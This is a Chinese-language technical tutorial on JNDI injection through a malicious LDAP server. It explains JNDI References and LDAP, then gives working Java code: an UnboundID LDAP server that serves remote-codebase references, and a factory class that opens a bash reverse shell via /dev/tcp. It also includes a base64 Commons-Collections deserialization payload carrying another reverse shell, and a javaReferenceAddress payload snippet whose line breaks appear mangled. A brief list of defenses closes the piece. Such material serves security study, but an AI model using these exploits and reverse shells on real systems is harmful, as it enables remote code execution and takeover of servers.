JNDI之初探LDAP
字数 1436 2025-08-15 21:32:26
JNDI与LDAP攻击技术详解
基础知识
JNDI References
JNDI References是类javax.naming.Reference的Java对象,包含有关所引用对象的类信息和地址的有序列表。主要属性包括:
objectClass: javaNamingReferencejavaClassName: 记录序列化对象的类名javaClassNames: 关于序列化对象的附加类信息javaCodebase: 实例化工厂类所需的类定义位置javaReferenceAddress: 存储引用地址的多值可选属性javaFactory: 存储对象工厂的完全限定类名
LDAP协议
LDAP(轻量目录访问协议)用于访问目录服务,主要模型包括:
- 信息模型:条目(Entry)、属性(Attribute)、值(Value)
- 命名模型
- 功能模型
- 安全模型
LDAP Server实现
以下是返回JNDI引用的LDAP服务器实现示例:
package org.jndildap;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LdapSer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
int port = 1389;
String url = "http://127.0.0.1/#Th3windObject";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e )
throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "th3wind");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
LDAP存储Java对象的方式
- Java序列化
- JNDI的References
- Marshalled对象
- Remote Location
利用方式组合
- 利用Java序列化
- 利用JNDI的References对象引用
JNDI Reference攻击流程
-
攻击者提供LDAP绝对路径的URL并赋予到可利用的JNDI的lookup方法中
String uri = "ldap://127.0.0.1:1389/Th3windObject"; Context ctx = new InitialContext(); ctx.lookup(uri); -
服务端访问攻击者构造或可控的LDAP Server端,并请求到恶意的JNDI Reference
-
服务端decode请求到的恶意JNDI Reference
-
服务端从攻击者构造的恶意Server请求并实例化Factory class
-
执行payloads
恶意Factory类示例
import java.lang.Runtime;
import java.lang.Process;
public class Th3windObject {
public Th3windObject(){
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/127.0.0.1/8550;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = rt.exec(commands);
pc.waitFor();
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Th3windObject e = new Th3windObject();
}
}
序列化对象攻击
JNDI对通过LDAP传输的Entry属性中的序列化处理有两处:
decodeObject对javaSerializedData属性的处理decodeReference函数在对普通的Reference还原的基础上,还可以进一步对RefAddress做还原处理
javaSerializedData利用
当javaSerializedData不为空时,decodeObject会对对应的字段进行反序列化:
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AEEvYmluL2Jhc2ggLWMgYmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMjcuMC4wLjEvODU1MDwmMXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4"));
javaReferenceAddress利用
调用链条件:
javaSerializedData为空javaRemoteLocation为空- 必备属性:
javaClassName和javaReferenceAddress - 校验
javafactory是否存在
字符串处理要求:
- 第一个字符为分隔符
- 第一个分隔符与第二个分隔符之间表示Reference的position(必须为int类型)
- 第二个分隔符与第三个分隔符之间表示type类型
- 检测第三个分隔符后是否有第四个分隔符(双分隔符形式),是则进入反序列化操作
- 序列化数据用base64编码
payload示例:
e.addAttribute("javaReferenceAddress", "$1$String
$$
"+new BASE64Encoder().encode(serialized));
防御措施
- 升级JDK版本,禁用JNDI远程类加载
- 限制LDAP服务仅允许可信来源访问
- 对用户输入进行严格过滤和验证
- 使用安全管理器限制敏感操作
- 监控和记录可疑的JNDI和LDAP操作
参考
- BlackHat 2016: "A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land"